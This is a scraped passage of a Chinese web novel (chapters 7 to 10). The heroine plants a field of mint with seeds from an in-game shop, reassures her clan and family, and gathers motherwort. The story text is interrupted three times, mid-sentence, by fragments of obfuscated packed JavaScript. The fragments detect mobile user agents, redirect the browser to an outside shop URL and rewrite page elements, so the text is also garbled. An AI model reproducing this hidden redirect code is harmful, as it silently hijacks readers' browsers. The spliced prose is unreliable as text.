她对照着看下来,决定还是先种薄荷吧。 7. 种薄荷 云州府四季气候温暖,类似于现代的云南省,有山有水有平地,很适合种植薄荷、金银花,当然还有很多药材能种植。 诚然金银花卖价更高,但从种植到收获需要四五年,等待的年限太久了。 钟映菱需要几个月内能收获的药材来售卖赚钱,后山采药靠天赐予总归带有不确定性,自己种植药材侍候得当的话还是能收获挺多量卖出好价的。 薄荷极易种植,当年成熟,像陇川县这样的气候或许还可以一年收三茬,管理粗放,适合她初次种植。 薄荷种植以扦插为主,但这年头不可能买到可移栽的植株,这会早春想找野生薄荷或去岁埋在地里熬过冬的薄荷难度很大,只能从系统商城里购买薄荷种子到现实育苗后再移栽了。 今年用种子种植麻烦些,等霜降前修剪第三茬薄荷,留下健壮的植株到明年来扦插种植,以后就方便了。 到时候或许还能卖这些越冬植株的枝条,供给那些见过种植薄荷利润心动的村里人扦插种植。 钟映菱确定好种植品种后,对着自己整理总结出来的薄荷种植指南再次检查细化。 两日后,她拿着从系统里购买的一份种子到现实中。 钟映菱也是摸索中控台细致功能发现游戏空间的药田看着一块挺小,实际设定上照一亩地面积来算。 那么买一份薄荷种子能种一块地,到现实中应该就能种一亩地。哪怕受土壤天气等因素影响,种子成活率有所降低,不也会相差太大。 在游戏空间里买了种子直接播种,这会为了提高种子成活率和发芽率,钟映菱还是想照着自己现代所学的种植知识稳妥些来。 她先把种子晾晒两天来提升种子活力,再用温水浸种,泡了三个时辰后捞出沥干水分备用。 接下来是催芽,钟映菱用粗布湿水将这些种子包裹起来,放到特意腾出来的瓦罐中,置于灶台旁,可以借着每日做饭时灶台的火候来保持温暖状态。 她每天还得弄些温水淋洗包裹着种子的粗布,这样能让种子保持湿润,再重新放入瓦罐挨着灶台放。 处理种子这几天里,钟映菱也没闲着,拿了锄头去田地翻土。 二叔还给她种的那块地靠近洛河,恰好是向阳背风的好地方,土壤疏松肥沃,排水也不错,日后浇水很是方便。 她用锄头翻土耙平,有石块就敲碎掉,有杂草就除掉,再把二叔二婶送来的农家肥均匀撒入重新翻平整。 施了足够的肥后,钟映菱沿着南北方向开沟作畦。 她在现代只买过那种小花盆回来种薄荷,整体流程简单得很,薄荷生命力强很容易成活。 这会种整亩地,她也是反复整理所了解的薄荷种植方法,尽量照着曾经记住的宽度深度来开沟作畦,而后把畦面理平整,这样以后排水和管理都方便些。 钟映菱头回做农活,翻整这一亩地就用了三日。 钟二叔和刘氏惦记着这边,抽空就从自家田地跑过来看下。 钟二叔每回过来心都是揪着的,他种地那么多年,插苗育秧前的三犁三耙深度多少就是闭眼翻都不会错。 结果那天家里赚了一两多银,喊菱娘过来家里吃饭,饭后菱娘说这亩地想种药材,她已经有了完整的种植法子,也弄到了薄荷种子,非常想试试。 菱娘还说,哪怕种失败了薄荷收成不好也不怕,秋收后还有另外六亩地分到的五成粮食饿不死的。她还说多谢自家帮她托底,才让她有余力和底气来试种薄荷。 钟二叔听完那叫一个纠结。 若是换了别人说这话,他肯定会劝,种什么都不如种粮食,粮食才是他们农民的立家之本。 但是菱娘不一样,菱娘认识草药会采摘还能处理,这阵子从后山采药赚了不少钱,还带着自家赚了一两银子。 钟二叔听闺女说过,这一两银子比起每年种粮食所赚来得太过容易了,也真切地意识到药材有珍贵,哪怕普通的药材都能卖出比大米好的价钱。 菱娘向来有成算,既然有心想种薄荷,那肯定做足了准备。再有先前卖药材赚钱的事在先,钟二叔纠结几瞬也就同意了。 再就是像刘氏说的,那亩地是菱娘的,自家当叔婶的劝几句就好了,还得菱娘自己拿主意。 实在放心不下,那就好好侍弄田地,争取秋收收成好点,分给菱娘的粮食多些,总归有个托底。 刘氏倒是心宽些,菱娘能带着红娘赚钱,自己想来赚更多。明着上后山采药赚不少钱,她还打算自己来种那什么薄荷,应该是有成算的。 也是,要是地里真种出薄荷来,采收肯定比去后山上采得多了去,能赚的就更多了! 刘氏甚至跟着心动,夜里问过孩他爹要不自家也弄一块地跟着菱娘种薄荷? 就是不知道菱娘愿不愿意带自家一起种,那薄荷种子只有菱娘有,那种植法子也只有菱娘会。 钟二叔训斥她一顿,让刘氏这想法可不能冒,菱娘才刚开始试种,自家还是种粮食妥当。 等菱娘真种成薄荷了也卖出好价钱,如果来年还种,想来也不会落下自家的。 夫妻俩商定下这件事,每回来这亩地看菱娘翻土等,虽然心有忧虑,还是积极扛着锄头过来翻土修整。 三郎四郎更是放下自家地里的活,屁颠地扛着锄头过来帮忙。 他俩一个十三岁一个十一岁,特别喜欢这个堂姐,家里最近常能吃到肉也是托堂姐的福,听说带着家里和大姐赚了不少钱呢。 哪怕没有前头这些,他们也会过来帮忙的。二姐没下过地,自己好歹也在跟着爹和大哥在田地里混过两三年,又是男子汉,帮着二姐是应该的。 大哥大嫂倒想过来,但家里有五亩水田三亩旱田,还有大伯家的五亩水田要侍弄,他俩又是田间好手,自然要留在那边翻土才行。 像爹娘也是过来帮会就回去了,三郎四郎则被留在这边长久帮忙。 钟映菱有他俩帮忙轻松不少。 这亩地周围还有不少地,都是钟家村族人的,这会正是春播的时节自然少不了人。 因着钟映菱头回下地,听钟老二说这块地今年留给侄女自己耕种,用来学练种田把式,不少人都留意着呢。 他们躬身挥锄头翻土,一抬头望向那边,越看越不对劲。怎么那闺女翻土深度才那么点,还有开沟也小了啊,连着畦宽也不够。 看不过眼的老汉忍不住过来提醒:“菱娘,你这翻土开沟作畦都不对,不用想都知道种出来的粮食收成肯定不好。你二叔没有提醒你吗?得改一下。” 他指了指旁边自己那块地说该多深多宽,恨不得抢过锄头来翻整个模范出来。 其他人也跟着过来七嘴八舌建议着,这地里的粮食关乎一年的吃喝,菱娘这孩子不懂,他们得提醒下。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218324|197459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 彼时钟二叔刘氏不在,连三郎四郎都还在自家田地那边忙活,只剩钟映菱在。 看不过眼最先过来提醒的是隔房的堂叔公钟大成,钟父钟母后事他出了不少力来着。 钟映菱解释:“叔公,我这亩地不种水稻,要用来种药材的,所以开沟作畦都不用比照着种水稻的标准来。” 钟大成愣了下:“种药材?” 其他凑热闹过来的人面面相觑,种药材? 药材是能种的吗? 他们能什么药材都不认得,钟立远家这闺女能认得?还要用一亩地来种药材,这不是糟蹋田地吗? 这一年得亏损多少石粮食啊? 大叔大婶们各自和身旁人低声嘀咕着,有和钟父钟母相熟的当即出声劝钟映菱,说什么种药材的事听都没听说过千万别任性,庄稼人还是得种粮食才有收成。 钟映菱早就想过,自家这亩地和别家的田地凑在一起,有什么区别那是一目了然的事,这事根本瞒不住。 她提前说开,也省得村里人瞧见了私底下琢磨甚至起心思。 钟映菱露出些许伤感:“这药材种子是我爹以前去走镖遇到个因家里有事急需用钱的药商贩子买的。我们没种过药材,哪怕药商贩子给了种植法子,也一直闲放着。” “这阵子也是收拾我爹娘的遗物,见着这包种子我就想着试种一下看能不能成,算是全了我对爹娘的一点念想。” 这话一出,大家都沉默了,大娘大婶们纷纷出声安慰她。 “菱娘,你别太伤心了!” “菱娘,你爹娘已经走了,你还是得立起来!” “菱娘,你是个有心的,不枉费你爹娘这么疼你。” 为了爹留下来的药材种子,舍弃一亩地可以收成的粮食转而去种药材,也不知道能不能种成,谁家闺女能大胆有这想法,可不就菱娘一个人了。 在场几个庄稼汉没说话,总觉得菱娘还是太冲动了些,念着爹娘没错,哪能拿地里的粮食儿戏啊? 钟大成长叹一口气问:“这事你二叔怎么说?” 钟映菱:“叔公,我和我二叔二婶说过了,他们都同意这亩地种药材的事,要不然这几天他们也不会过来帮忙了,还让三郎四郎过来帮我。” 大家在这劳作,自然也看见了,不由得点头。 见堂叔公还愁眉在那,钟映菱说:“就算这药材没种成,我学到了种地法子,明年种水稻也容易上手。另外五亩地那边等秋收了二叔也会送五成粮食过来,肯定够我吃的了。” 钟大成这才松开眉头:“行吧,既然都开沟作畦弄好了,你就继续种药材吧,明年再种回粮食。” 他转身想走回自家地头去,又补了句:“有什么需要帮忙的就喊我。” “好的,多谢叔公。”钟映菱弯眉笑道,又看向周围的人,“谢谢各位叔婶的关心。” 顿时大家都笑开,挥挥手表示都是应该的,同样留下句“有什么需要就喊”的话回自家田地接着忙。 稍晚些,全村的人都知道钟立远家闺女要种一亩地药材的事,大多都不看好。 但对钟二叔一家私底下的猜测却是散了,毕竟那菱娘都说了等秋收后他家还会送五成粮食过去,也就还是老样子,没欺负菱娘一个孤女! 钟二叔和刘氏后来知道了,也想明白菱娘这一出,暗道这侄女越来越会来事了。 8. 聚饭 春雨淅沥淅沥下了一天,钟映菱看着朦胧的天色,希望明天能放晴。 她看过灶台旁瓦罐里温着的种子,已经有四成都露白了,明后天达到六成后就能播种。 这场雨来得及时,省了她还得去洛河边挑水浇地的功夫,等天晴后雨水排去土壤又是湿润的,正是播种的好时候。 她今天利用着时间把晒干的黄精再次用黄酒蒸一遍,捞出来放堂屋阴凉的地方风干着,有日头时再端去院子晾晒就好了。 傍晚钟映菱简单收拾下,去了二叔家。 这段时间准备春播村里人忙个不停,今日借着春雨难得休息下。钟二叔一家都在屋闲着,喊了她过来吃晚饭。 晚饭是红娘和堂嫂吴氏在煮,一进来就闻到肉香。 刘氏在堂屋招手:“菱娘快过来坐。” 钟映菱走过去:“二叔二婶,大哥、三弟、四弟。” 她跟着钟映红来喊二房的兄弟。 钟二叔露出笑来:“晚上多吃点。” 大郎点头:“二妹过来啦。” 三郎四郎齐声喊:“二姐好!” 两兄弟很是雀跃,今晚又能吃肉了。 钟映菱坐了会起身说:“大姐和大嫂在厨房做饭,我去厨房看下有什么需要帮忙的。” 刘氏忙拉住她:“菱娘你就安心坐着陪我们说会话好了,她俩能搞定的。” 钟二叔也说:“是啊,咱聊会。这回春雨不会下太久,等天晴就要插秧了,你那薄荷什么时候种?” 他们早在秧田播种长了秧苗,最近长势不错,就等着下场雨天晴后来插秧了。 聊起这事,钟映菱坐回来:“二叔,我也打算这场雨晴后播种,种子已经提前在家里浸泡露白了。” 她近来在地里翻土才知道,时下人们播种就用去年留的好粮种直接播种育秧,还没有用沉浮法选种的意识。 可惜自己穿来那会村里人早已开始育秧,没办法提醒二叔家用盐水选种法来提高种子质量,只能等明年了。 钟二叔心想这药材种子居然还要先泡发芽:“那到时候正好大家一起种。” 钟映菱:“二叔二婶,我想问下家里还有没有稻草麦秆这些?薄荷播种后需要用稻草或麦秆来盖着保暖,等长出苗后再掀开。” 钟二叔应道:“有啊,每年秋收后稻草那些都晒干留着,可以点火烧了或者垫圈积肥,家里还剩不少呢。” 如果是有养牛的人家,稻草还能当作冬天的草料来喂养牛。 他们家入冬前砍了不少柴火在家,只用了少量的稻草,一部分拿去鸡圈那积肥了。 刘氏爽快道:“库房里还有好多稻草杆来着,你要的话待会让大郎给搬过去就好了。” 三郎积极道:“我也可以般!” 四郎跟随着:“我还给二姐搬到地里去!” 钟映菱听了高兴:“好啊,多谢二叔你们,这样子我就不用愁稻草的事了。” 她没提给稻草钱的事,稻草杆本身不值钱,家家户户都存了稻草杆不放过它最后一点用处,给钱的话二叔不会收的。 还不如回头去县城再割两斤肉给二叔家改善伙食,或者以后带钟映红去后山采药。 钟二叔见儿子们这么上道很满意:“别折腾两回了,干脆这样,菱娘你播种那天喊三郎四郎帮着把稻草搬到地里去。” 家里那么多亩地,春播得抓紧点时间,大郎跟着他多年种地的功夫不错,让三郎四郎去搬稻草合适些。 三郎四郎自是答应。 钟映菱:“那就多谢三郎四郎了。” 三郎腼腆一笑:“二姐不客气,我还谢谢你上回的肉包子呢。” 四郎连连点头:“是啊是啊,我最近觉得跟过年一样,隔三差五就能吃上肉。” 爹娘都说了,是二姐带着大姐去采药,让家里赚了点钱,最近才能买肉吃,还有大姐买回来的糕点老甜老香了。 很快钟映红和吴氏先后端菜出来,今晚这桌不说丰盛也是少有的,钟映菱赶忙去帮着拿碗打饭。 刘氏今天大方,想着菱娘过来吃让全做了精米饭,平时家里都是掺着糙米来煮,三成精米七成糙米做出来的米饭吃着已经很香了。 所以全家都盼着吃今晚的精米饭。 饭桌上摆了盘蒜苗炒五花肉、韭菜炒鸡蛋,还去买了豆腐回来煮鲫鱼汤,再是精米饭和杂粮窝窝头。 精米饭尝个香味,男人饭量大再吃杂粮窝窝头垫肚子。 在饭桌前围坐下后刘氏招呼着开吃,给一个个打了碗精米饭,给菱娘打饭时更是垒得整碗满满的。 吃饭时,钟映菱收到了二叔二婶时不时夹的肉片,钟映红和大郎几个哪怕赶着疯吃也会顾着让菱娘多吃点。 吴氏更是热情,她现在看菱娘这个堂姑子跟看财神似的。 她知道菱娘带小姑子采药赚钱的事,那么几天就赚了一两多银子呢!菱娘和自家关系这么好,少不得接着带自家赚钱。 要是自己这个堂嫂情分做到位了,说不准以后还能带上自己去采药,这学到的采药处理法子可都是能传家的! 吴氏抱着这样的心思,这顿五花肉和精米饭齐全堪比年夜饭的晚饭吃着都没那么上心了,时不时关心着菱娘那边搭几句话。 大郎、三郎和四郎疯狂扒饭吃,五花肉沁出的油脂沾得满嘴油星,韭菜炒鸡蛋和鲫鱼豆腐汤也很好吃。 他们先后吃完一碗精米饭也不去馋盆里剩下的那点米饭,果断拿了杂粮窝窝头就着吃肉菜。 钟二叔和刘氏也吃得高兴。 钟映红只觉得日子太过美好,家里赚了钱这段时间因着春播隔三差五就能吃上回肉,鸡蛋暂时不换钱炒了当配菜吃,自己的体己也多攒了不少。 这一切都是从那天菱娘喊自己去县城卖药开始…… 钟映菱只觉得这顿饭氛围很好,说说笑笑的,大家也都关照着她。 她少有地感受到了来自家人的关怀。 饭后吴氏推着钟映红到客厅笑道:“最近忙着地里的事,菱娘难得过来,红娘你就陪着菱娘好好说话吧,洗碗的事交给我来吧。” 钟映红过意不去:“大嫂,我来一起洗吧,洗完再和菱娘玩也是可以的。” 平时晚上都是她和大嫂一起洗碗的,因为这一年不用下地,她负责这些活也做得情愿。 吴氏忙摆手:“不用不用,白天做饭洗碗都是你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218325|197459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弄的,晚上洗碗交给我好了,你们聊啊。” 最好多聊聊采药卖药的事,她一溜烟跑去水井旁蹲下洗碗。 刘氏好笑摇摇头:“行了,红娘你带菱娘去你屋里坐会吧,我去帮你大嫂。” 她知道儿媳妇心里在想什么,只要心是好的,对菱娘没有恶意,就不管了。 钟映红这才安下心来,望向菱娘:“走吧,去我屋里玩。” 钟映菱点头应好,和二叔他们打了声招呼,跟着去了西屋房间。 西屋这边房间比不得东屋那么大,但也不算小。 在这年头多的是几个姐妹挤一间房,闺女少的就和爹娘挤一间,钟映红独住一间房在村里那些小姐妹中都是有脸的。 哪怕她知道,自己出嫁后这间房就会被分给三郎或四郎住。但那又怎样,她现在能住着已经很好了,以后都出嫁了哪还管得了娘家人怎么住。 不大的房子里一张床一张桌,还有个木柜子,靠墙的地方还放了几个木箱。 钟映红兴奋打开:“菱娘你看,这木箱是爹娘打给我陪嫁的,现在已经攒了一床棉被一套大红被面,娘说枕头那些等秋收后再买。” 棉花价贵难得,娘给她买这床棉被是很有脸面的事。还有大红被面,红布料本就比普通布料贵,更别说这是比较绵软的布料,也是花了不少钱的。 钟映红:“还有些零散的就等年底再买。” 从春播忙到秋收,秋收后还要赶着抢种一茬小麦,也就过冬那会有空来理这些事。 “真好,二叔二婶给大姐你准备的嫁妆在整个村里都是体面的。”钟映菱笑道。 等钟映红成婚前添妆,她再买些饰品送她。 钟映红很满足:“爹娘对我确实好。” 虽说比不上大哥还有三郎四郎他们,但也没亏了她。 她拉着菱娘到床沿边坐下低声道:“陈家那边定亲那会给了二两,说好下大定再给六两,娘说到时候给我四两银子作压箱底,家里也给我陪嫁二两银子。” 这压箱钱和陪嫁银子别说在钟家村,就是周围几个村的人知道了都得夸她爹娘疼闺女,钟映红也觉着自己底气足了。 最重要的是她这一年里的绣活钱可以自己攒一半,采药的钱她争取到分三成,攒到明年出嫁应该也有不少体己。 钟映菱替她高兴,她又听钟映红说了下备婚的一些事。 钟映红显然对自己这桩婚事很满意,心仪未来夫婿,娘家给的压箱银和嫁妆也让她不用烦恼自己作为新媳妇在陈家两个嫂子前矮一头。 姐妹俩聊了好一会,钟映菱提醒:“等我们忙完春播,山上那处益母草估计又长出新一茬可以采摘了,到时候我们一起上山去采。” 钟映红顿时眼睛一亮:“好啊,居然这么快又可以采摘了!菱娘你到时候喊我,我随时都可以。” 天大的事在采药赚钱面前都得靠边去! 这晚钟映菱在二叔家吃得开心玩得开心,回自家院子洗漱过后就睡觉了。 翌日不出所料是个大晴天,村里人纷纷出动去地里插秧。 钟映菱也拿了有六七成露白的薄荷种子,带上家里的竹筛子、簸箕、木耙去到地里。 9. 春播 三郎四郎得了话,一大早就把家里的稻草杆扛到钟映菱这块地来放着。 他们本想留下来帮忙,但钟映菱说:“薄荷播种简单,我一个人就能弄好。二叔二婶那边要插秧的地那么多,你们还是过去那边帮忙吧。” 三郎四郎再三确定二姐是真不要自己帮忙,才跑去自家地里,还想着待会歇响的时候再过来看下。 周围男女老少挖好事先在秧田培育好的秧苗,一个个躬身在田地里插秧,忙得热火朝天,满是对新一年的期望。 哪怕这几天还有对那块要种药材的地好奇,这会也顾不上了。忙好关乎自家口粮的事,才有闲心顾其它的不是? 钟映菱也照着既定的流程开始给薄荷播种。 她早先就在地旁留出一小堆的土,这会用竹筛将这些土筛得更细一些。 筛够足量的细土后,钟映菱打开裹着种子的粗布,借着簸箕将薄荷种子和细土以1:5的比例混和均匀。 她再一手提着簸箕,以手撒的方式顺着畦长边的方向撒在开好的畦面上,又控制着间隔些距离来撒。 钟映菱头回种一亩地的薄荷,尽量控制着走动速度和撒播速度做到最好,一条条畦绕下来已经过了将近一个时辰。 她擦了下额头上冒出来的汗,坐在地旁连着喝了好几口带来的水,这才稍微缓过来。 休息了会后,钟映菱继续忙起来。 她拿起木耙倒过来将齿朝上,在就近这条畦面上轻轻来回扫平,让种子与土壤紧紧贴合。 在这亩地上来回扫一圈后,钟映菱再用方才筛剩下的土轻撒一层薄薄地覆在畦面上,倒转木耙用带齿的那面轻带将这层薄土耙平,使其覆盖得更加均匀。 如此又是一大圈,时间悄然而逝。 钟映菱最后直接用鞋面轻踩畦面,一条条踩上一圈,这样种子才能和土壤有更加密切的接触,更容易吸水发芽。 等将最后一条畦面踩过后,她抬头看日头估计过午时好一会了。 周围田地的人都还在插秧,插秧讲究“浅直匀稳”,常年种田的老把式可能速度还快点,多数人宁愿速度慢点也要把秧苗插好。 而且每家都不止一亩田,光是插秧这事全家出动都能忙活好几天,更别说后续还要追施肥、锄草,调节水层深浅…… 三郎四郎匆匆跑过来。 三郎:“二姐,我爹娘让我们过来帮你。” 四郎点头:“对啊二姐,你和我们说还要做什么。” 钟映菱指了下面前这亩地:“我全部播种好了,你们看。” 三郎四郎望过去,嘴巴微张,一亩地耙得平整,一看就知道是刚播种过的。 三郎:“一亩地这么快就种好了?” 四郎:“我们家那边秧苗才插完一亩地来着。” “薄荷播种比较简单,种子混着细土撒下去后再盖一层土,压贴实了就好。”钟映菱笑道,“不过还真有件事要你们帮忙。” 三郎四郎顿时来劲了,他们本来就是要来帮二姐干活了。 钟映菱带他们来刚放稻草杆的地方:“我们三个一起把这些稻草杆铺盖在畦面上,记得要铺得均匀些,大概有这么厚就好了。” 她说着伸出手指比了个两厘米的厚度。 用稻草杆盖在畦面上可以减少水分蒸发,土壤足够湿润才能让种子更好地生长发芽,还能防止杂草生长。 如果出苗期间有雨水的话,还能防着雨水过大把覆在土里的种子给冲刷出来。 三郎四郎纷纷表示明白,他们在自家地里干过类似的事。 于是钟映菱和三郎四郎各自拿着一大把稻草杆,分着从一亩地的三个地方开始,顺着长边方向往畦面上覆盖稻草杆。 这活简单,钟映菱很快上手,铺下去的稻草杆稍微整理下就很均匀,厚度也把控在两厘米到三厘米间。 她时不时抬头望向田垄间铺稻草杆的三郎四郎,他们虽然速度慢了点但铺得很到位,都是照着她刚的要求来的。 这会兄弟俩可能意识到什么,于是凑着一人铺稻草杆一人跟在后头整理,速度瞬间快了起来,质量也有保障。 钟映菱笑了笑,低头专心铺起稻草杆来。 还别说,多了三郎四郎来帮忙就是不一样,花了两刻钟多些的时间就铺完一亩地的稻草杆。 三郎四郎跑过来找她,三郎解释:“二姐,铺到后面我看稻草杆好像不太够,就控制着少铺了些免得尾巴那点没有稻草杆铺。不过你放心,哪怕少铺了也保证所有畦面都有覆盖到的。” 四郎眨巴眼睛:“二姐,要是不够回头让我娘找人再拿点稻草杆过来,村里很多家都有这玩意的。” 钟映菱点头表示知道:“我这边也是到后面控制着量才勉强铺完的。” 她跟着三郎四郎走过去最后两条畦看,见全都铺上稻草杆,哪怕没有两厘米厚也差不多少,干脆道:“这样就够了,不用再去要稻草杆。” 钟映菱事先有估算过,想着二叔家稻草杆应该够用,才没想着再去找别家买。 三郎四郎点头,二姐说没问题那就是真没问题。 “谢谢三郎四郎,你们俩今天帮了我大忙!” 三郎挠挠头:“二姐别客气,都是应该的。” 四郎拍拍自己的小胸脯:“反正二姐你有啥事要弄就喊我们俩!” 钟映菱笑着应好,招呼他们俩收拾东西回家。 因着插秧得抓紧好天气,庄稼活关乎一年的口粮,不少人都让家里人提了午饭来田地里吃,吃完歇会就接着干。 钟二叔家往年也这样,今年想着问下菱娘的情况,家里让红娘在做饭,干脆都回家吃。 钟映菱把竹筛子、簸箕和木耙放回自家院子,过来二叔家吃饭,这是昨天就说好的。 吃饭时钟二叔家听她说那亩薄荷种子已经种好,接下来只需要时不时过去检查稻草覆盖情况整理下,等着出苗就好了,所有人都有点错愕。 他们还以为种药材肯定比种粮食要复杂得多,居然这么简单的吗? 钟映菱点头:“我看书上说,薄荷算是所有药材里比较容易种的了,野外比较常见医馆收干薄荷的价钱也低些。等这回种薄荷要是成功了,明年你们要是愿意的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17218326|197459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也可以拿亩地出来种的。” 钟二叔家所有人听了这话瞬间狂喜,努力压下心中雀跃。 医馆收干薄荷的价低,那也比粮食的价高啊!菱娘可是说过这薄荷产量很高的,至于收成后还得晒干才能卖算什么,他们最不缺的就是力气和时间。 从钟二叔刘氏到大郎夫妇再到三郎四郎红娘都在心里盼着,菱娘这亩地的薄荷可一定要种成啊! 钟二叔勉强淡定说道:“菱娘你看书学过,又有那药商给的种植法子,应该问题不大。这薄荷收成后卖给医馆的价钱可比粮食高,二叔谢谢你愿意带着我们一起赚钱。” 其他人纷纷点头,望向菱娘的眼神露着感激。 家里收入全靠每年地里种的粮食,明年如果能多种薄荷,肯定能多赚不少钱。 “二叔你别说这话,我们是一家人来着。”钟映菱轻叹了口气,“爹娘走后,你们就是我最亲的家人了。” 钟二叔想起兄长,顿时老眼酸涩。 刘氏眼尾挂着泪花,拉过侄女的手安抚:“菱娘你放心,我和你二叔就是你的依靠。” 大郎当即表态:“菱娘,我是你哥,有什么事和我说就是了。” 吴氏忙点头:“是啊,你大哥长得壮,别的没有就一把使不完的力气,有啥事就找他!” 钟映红:“菱娘我把你当亲妹妹的,咱姐妹俩互相照应!” 三郎直呼:“二姐,你还有我这弟弟呢!” 四郎挥挥自己的小拳头:“二姐,谁敢欺负你,我去把他揍扁!” 钟映菱笑弯了眉眼,回握住二婶的手:“多谢二叔二婶。大哥大嫂、大姐、三郎和四郎,也谢谢你们。” “我们是一家人,有什么事肯定会和你们说的。” 她俏皮笑了下,“有你们在,绝对没人会欺负我。快接着吃饭吧,下午还要接着插秧呢。” 钟二叔声音有些喑哑:“吃,都吃!” 这顿饭吃得温暖人心,饭后钟映菱抢着和钟映红把碗盘给洗了。 钟二叔等人则先回屋抓紧时间午睡,睡醒还有得忙呢。 接下来几天,包括钟二叔家在内的村里人几乎全家出动在地里插秧。 钟映菱则借机休息,原身没有下地干过活,她以前也从来没有种地过,那天播种一亩地薄荷后胳膊、腰和腿都酸胀得很。 她也就早午晚抽时间去那亩地看下稻草杆的覆盖情况,有被风吹开的地方就整理好,没有的就不用管。 每回在地里转一圈,她就回家了。 饶是周围田地专注插秧的人抬头瞥见了,都忍不住嘀咕一句:“种药材这么简单的吗?那天菱娘也就来忙活了半天吧。” 他们心里都不看好,心想这闺女还是孩子心性,等摔跟头就知道疼了。就是可惜这亩地,浪费一年的粮食了。 钟立远夫妇先后去世留下闺女一人,这闺女还要种一亩地的药材的事,族里人传来传去,钟族长也听了一耳朵。 他蹙着眉头来地里看一圈,私底下跑去找钟二叔,聊过后半信半疑,决定接下来半年多留意这亩薄荷地的情况。 10. 再采益母草 等多数村里人插秧完成后休息一两天的时候,钟映菱喊上钟映红去后山采益母草。 她休息几天酸痛感全部消散,浑身爽快得很。 这会村里人休息,不少女人孩子到后山来打猪草挖野菜,也有男人上山砍柴,她们上山并不显眼。 不像大家都在地里插秧那会,如果她们往后山上去,铁定引人注意。 上山后轻车熟路来到上回采摘的那处地方,一眼望去都是新长成的益母草,鲜嫩得很。 钟映红很是惊喜,环望周围没人后低声说:“菱娘,真的又长出新的一茬来了!” “是啊,我们上回采的时候留了根,加上益母草长得快,这会又能采摘了。”钟映菱说道。 上山的人不少,这处并不隐蔽,但在村里人眼中益母草与杂草无异,自然没人在意。 两人话不多说,见周围没人当即将各自的背篓卸下来放一旁,拿出镰刀割起益母草来。 还是老样子,贴着地面留出最少五厘米的长度,一镰刀下去割下一把益母草,快速放进背篓里。 很快两个背篓装满,钟映菱:“大姐,我们先回家把这些放好吧,时间还早可以再来一趟。” 她们都只背了一个背篓过来,觉着带两个太夸张了,村里人都只背一个,宁愿费腿多跑几趟。 钟映红应好。 钟映菱领着她从另外一边没走过的方向下山,这一路倒没发现新鲜药材,到山脚下寻了个无人地方挖了野菜盖在背篓上,这才回家。 她们俩这天往后山跑了三趟,钟映菱院子里摆了足有六背篓的新鲜益母草。 两人从下午忙活到晚上,点着油灯继续干,分工合作去除掉益母草里混着的杂草、枯叶和根部的泥土,用刀切掉过粗的老茎,再对其根部重新分成小捆扎好。 钟映菱院子里就两根竹竿,有两根还是从二叔家借过来的,这会把一捆捆益母草倒挂着绑在竹竿上,间隔松散些,也更容易阴干。 二叔家那边知道她们俩在处理药材,那叫一个支持,毕竟这可是赚钱的大事! 听说竹竿不够用,大郎立马把家里的竹竿拆了送过来,大家这两天晒衣服将就一下就行。 知道这些药材处理不完晚上还得继续,吴氏主动把煮晚饭的活揽了过去,刘氏提着做好的饭过来给她们吃。 这会夜深露重,挂着益母草的四根竹竿都是横撑在堂屋的。 钟映菱交代:“大姐,今天就先到这吧,你回去洗漱好后好好休息,明早我再把这些竹竿搬到院子里阴凉地方撑起来,风干得快点。” 钟映红点头应好:“行,菱娘你也早点休息。” 钟映菱:“好,你记得我刚才和你说的翻土深度,早上提前把院子里空出来的地整好,我们下午上山挖回来就能种了。” 钟映红重重点头,想起刚才往竹竿上绑益母草时菱娘说的话,这会还有点恍惚,更多的是激动。 “大姐,你家院子里还有没有空菜地?我家院子里的菜地从入冬后就只种了点萝卜和白菜,现在基本收完了还没种新的,我想明天去山上挖益母草回来种着。” “你家要是还有空菜地的话,要不和我一起种益母草吧。虽然说医馆每月收益母草数量有限,但每月都有需求,我们种出来的那点量晒干后百草堂还是吃得下的。” “我研究过,种益母草也就比薄荷稍微复杂点,还是可以试下的。” 钟映红当时听了又惊又喜。 菱娘肯带她上山采摘处理药材她已经很满足了,对明年地里种薄荷的事也很期待。 她恨不得马上就翻过年去种薄荷,又时不时叹惋自己那会可能都嫁到陈家村去了,怕是学不到这种薄荷法子了。 现在可好了,菱娘居然有办法把山上的益母草挖回来种,还明天就能种! 钟映红是知道这益母草处理好后能卖多少钱的,上回赚到的钱还在她压箱底放着呢,当即点头。 “可以种的,家里种豌豆那块地刚收完施肥放在那,我和爹娘说用来种益母草好了。” 钟映红一脸可惜:“本来还有两块地的,我娘前些天刚给种了空心菜、黄瓜和生姜。” 钟映菱笑道:“没事,能有一块地种益母草就行。院子里还是得种些青菜,免得弄到最后反而没菜吃。” 她和钟映红说了明天翻土作畦要点,边把手头上益母草挂杆的活做好。 